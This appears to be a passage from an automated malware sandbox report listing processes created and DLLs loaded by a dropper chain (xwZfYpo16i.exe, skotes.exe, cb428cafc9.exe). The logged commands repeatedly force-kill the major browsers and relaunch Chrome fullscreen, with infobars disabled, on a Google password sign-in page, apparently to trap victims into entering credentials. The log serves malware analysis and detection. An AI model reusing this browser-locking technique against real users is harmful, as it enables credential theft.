Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe "C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000336001\num.exe "C:\Users\user\AppData\Local\Temp\1000336001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5612 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5612 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5548 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5172 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2456 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2456 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5364 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5528 --field-trial-handle=1964,i,16714315343876232385,13045965869128810005,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --start-fullscreen --no-first-run --disable-session-crashed-bubble --disable-infobars
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1876 --field-trial-handle=2016,i,9763649198199615889,4058380472595766421,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2004,i,8592830290365317448,7467397625344037838,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=2056,i,1132564284520540060,11615293102951086546,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
